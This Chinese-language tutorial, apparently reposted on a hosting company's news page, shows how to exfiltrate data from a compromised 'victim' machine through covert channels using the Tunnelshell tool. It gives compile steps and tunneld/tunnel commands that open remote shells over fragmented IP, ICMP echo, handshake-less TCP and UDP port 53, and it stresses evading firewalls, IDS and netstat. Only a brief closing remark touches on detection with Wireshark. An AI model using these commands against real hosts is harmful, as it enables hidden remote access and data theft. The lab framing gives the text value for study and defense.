您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù),內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
隱蔽一詞意味著“隱藏或不可檢測”,而信道是“通信模式”,因此隱蔽信道表示不可檢測的通信網(wǎng)絡(luò)。了解加密通信和隱蔽通信之間的區(qū)別非常重要。在隱蔽通信中,數(shù)據(jù)流被未經(jīng)授權(quán)的一方篡改和持久。然而,加密通信并不掩蓋通過加密在兩個端點(diǎn)之間傳輸?shù)臄?shù)據(jù)進(jìn)行通信的事實(shí)。
網(wǎng)絡(luò)隱蔽存儲信道:發(fā)送者直接或間接些目標(biāo)值,接收者直接或間接接讀目標(biāo)值。
網(wǎng)絡(luò)隱蔽時間信道:發(fā)送者通過時域上調(diào)制使用資源(例如CPU)發(fā)送信息,接收者能夠觀測到并對信息進(jìn)行解碼。
與存儲隱蔽信道相比,時間隱蔽信道又稱為無記憶通道,它不能長久存儲信息。發(fā)送者發(fā)送的信息接收者必須及時接受,否則傳送的信息將會消失。
幾乎可以使用任何協(xié)議來建立隱蔽信道。絕大多數(shù)隱蔽信道研究都是基于第3層(網(wǎng)絡(luò))和第4層(傳輸)協(xié)議,如ICMP,IP和TCP。經(jīng)常使用的還有第7層(應(yīng)用)協(xié)議諸如HTTP和DNS。這種機(jī)制用于在不提醒網(wǎng)絡(luò)防火墻和IDS的情況下傳送信息,而且netstat無法檢測到。
Tunnelshell是一個用C編寫的程序適用于Linux用戶,它使用客戶端 - 服務(wù)器范例。服務(wù)器打開/bin/sh客戶端可以通過虛擬隧道進(jìn)行訪問。它支持多種協(xié)議,包括TCP,UDP,ICMP和RawIP。此外,數(shù)據(jù)包可以分段處理以躲避防火墻和IDS的檢測。
實(shí)驗(yàn)環(huán)境
服務(wù)器(Kali Linux)
客戶端(Ubuntu18.04)
Tunnelshell
這里,假設(shè)我們已經(jīng)通過c2服務(wù)器與受害者機(jī)器建立了會話?,F(xiàn)在,我們需要為數(shù)據(jù)泄露創(chuàng)建一個隱藏的信道,因此我們需要在兩個端點(diǎn)上安裝tunnelshell。
下載后,解壓縮文件并進(jìn)行編譯,如下所示:
tar xvfz tunnelshell_2.3.tgz make
同樣,在另一個端點(diǎn)(受害者的機(jī)器)重復(fù)相同的操作,完成后在終端中執(zhí)行以下命令,打開服務(wù)器的信道(Attacker)。
sudo ./tunneld
默認(rèn)情況下,它會發(fā)送分段數(shù)據(jù)包,該數(shù)據(jù)包會在目標(biāo)端點(diǎn)重組以躲避防火墻和IDS。
現(xiàn)在要與tunnelshell連接,我們需要在服務(wù)器(攻擊者的機(jī)器)上執(zhí)行以下命令,該命令將建立用于數(shù)據(jù)泄露的隱蔽信道。
語法: ./tunnel -i <session id (0-65535)> -d <包發(fā)送延遲> -s <packet size> -t <tunnel 類型> -o <protocol> -p <port> -m <ICMP 查詢> -a <ppp 接口> <受害者 IP>
./tunnel -t frag 10.10.10.2
frag:使用IPv4分段數(shù)據(jù)包來封裝數(shù)據(jù)。當(dāng)某些路由器和防火墻(如Cisco路由器和默認(rèn)Linux安裝)收到第四層沒有標(biāo)頭的分段數(shù)據(jù)包時,即使它們有拒絕它的規(guī)則,也會允許它們通過。可以看到它已成功連接到10.10.10.2,我們將訪問受害者機(jī)器的shell。
正如我說的那樣,如果你使用network statics檢查網(wǎng)絡(luò)連接狀態(tài),你將不會看到任何關(guān)于tunnelshell的進(jìn)程ID。從下圖中你可以看到,在ps命令的幫助下我已經(jīng)檢查了tunnelshell的進(jìn)程,并嘗試通過netstat檢查其進(jìn)程ID。
ps |grep .tunneld netstat –ano
讓我們通過Wireshark來看看10.10.10.1(攻擊者的IP)和10. 10.10.2(受害者的IP)之間產(chǎn)生的網(wǎng)絡(luò)流量。網(wǎng)絡(luò)流在兩個端點(diǎn)之間看起來像是一般的流量,但如果正確監(jiān)視,則網(wǎng)絡(luò)管理員可以嗅探到數(shù)據(jù)包。正如你所看到的,Wireshark捕獲了隱蔽的流量并嗅探到了在兩個端點(diǎn)設(shè)備之間傳輸?shù)臄?shù)據(jù)。
我們知道Ping是使用ICMP通信的,通過發(fā)出icmp echo request包,收到icmp echo reply包在兩臺主機(jī)之間建立連接。因此,執(zhí)行以下命令:
sudo ./tunneld -t icmp -m echo-reply, echo
現(xiàn)在要與tunnelshell連接,我們需要在服務(wù)器(攻擊者的機(jī)器)上執(zhí)行以下命令,該命令將建立用于數(shù)據(jù)泄露的隱蔽信道。
./tunnel -t icmp -m echo-reply,echo 10.10.10.2
正如你看到的它已成功連接到10.10.10.2,并且攻擊者能夠訪問受害者計(jì)算機(jī)的shell。
同樣,如果你通過Wireshark捕獲流量,那么你將會注意到ICMP echo request和reply數(shù)據(jù)包正在兩個端點(diǎn)之間傳輸。如果你嘗試分析這些數(shù)據(jù)包,那么你將能夠看到哪種payload被作為ICMP數(shù)據(jù)正在傳輸。
在沒有三步握手的情況下它建立了一個虛擬的TCP連接,也不綁定任何端口,因此你可以使用已經(jīng)由另一個進(jìn)程使用的端口,執(zhí)行以下命令:
sudo ./tunneld -t tcp -p 80,2000
現(xiàn)在要與tunnelshell連接,我們需要在服務(wù)器(攻擊者的機(jī)器)上執(zhí)行以下命令,該命令將建立用于數(shù)據(jù)泄露的隱蔽信道。
./tunnel -t tcp -p 80,2000 10.10.10.2
正如你看到的,它已成功連接到了10.10.10.2,并且攻擊者能夠再次訪問受害者計(jì)算機(jī)的shell。
通過網(wǎng)絡(luò)流量你可以看到源和目標(biāo)之間建立了tcp通信,但并沒有真正的三步握手。
要建立DNS隱蔽信道,我們需要在兩個端點(diǎn)機(jī)器上運(yùn)行UDP隧道模式。因此,在受害者的機(jī)器上我們執(zhí)行以下命令:
sudo ./tunneld -t udp -p 53,2000
同樣,在你的(攻擊者)機(jī)器上執(zhí)行以下命令以連接隧道。
./tunnel -t udp -p 53,2000 10.10.10.2
正如你所看到的,DNS錯誤數(shù)據(jù)包包含在兩個端點(diǎn)機(jī)器之間傳輸?shù)臄?shù)據(jù)。
隱蔽信道在數(shù)據(jù)泄露時不會發(fā)送加密的數(shù)據(jù)包,因此它很容易被嗅探到,網(wǎng)絡(luò)管理員可以輕松的進(jìn)行數(shù)據(jù)丟失防護(hù)和風(fēng)險管理。
上述內(nèi)容就是如何通過Covert Channel從目標(biāo)主機(jī)獲取數(shù)據(jù),你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。